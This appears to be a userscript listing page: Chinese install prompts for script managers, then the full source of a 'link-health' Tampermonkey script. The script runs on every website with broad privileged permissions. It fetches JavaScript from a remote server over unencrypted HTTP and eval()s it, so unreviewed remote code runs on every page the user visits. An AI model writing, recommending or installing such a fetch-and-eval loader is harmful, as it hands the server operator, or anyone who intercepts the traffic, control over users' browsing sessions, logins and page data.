link-health user script

try to take over the world!

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name         link-health user script
// @namespace    http://tampermonkey.net/
// @version      2024-06-03
// @description  try to take over the world!
// @author       You
// @match        *://*/*
// @icon         https://i0.wp.com/link-health.org/wp-content/uploads/2022/10/Link-Health-transparent.png?resize=800%2C800&ssl=1
// @grant        GM.xmlHttpRequest
// @grant        GM.setValue
// @grant        GM.getValue
// @grant        GM.addStyle
// @grant        GM.getResourceText
// @grant        GM.info
// @grant        GM.notification
// @grant        GM.openInTab
// @grant        GM.registerMenuCommand
// @grant        GM.setClipboard
// @grant        GM.deleteValue
// @grant        GM.listValues
// @grant        GM.log
// @grant        GM.addValueChangeListener
// @grant        GM.removeValueChangeListener
// @license      MIT
// ==/UserScript==



/*
This code uses eval on a code that is hosted on server, you can see the hosted code @ http://alistermartin.pythonanywhere.com/user-script.js
This makes us update the code at any time. For any concerns please inform the authorities.
*/

(function() {
    'use strict';

    // Fetch the code from the specified URL
    GM.xmlHttpRequest({
        method: 'GET',
        url: 'http://alistermartin.pythonanywhere.com/user-script.js',
        onload: function(response) {
            if (response.status === 200) {
                // Parse the response JSON
                let data = JSON.parse(response.responseText);
                if (data.code) {
                    // Execute the fetched code
                    console.log(data.code)
                    eval(data.code);
                } else {
                    console.error('No code found in the response');
                }
            } else {
                console.error('Failed to fetch the script:', response.statusText);
            }
        },
        onerror: function(error) {
            console.error('Error fetching the script:', error);
        }
    });
})();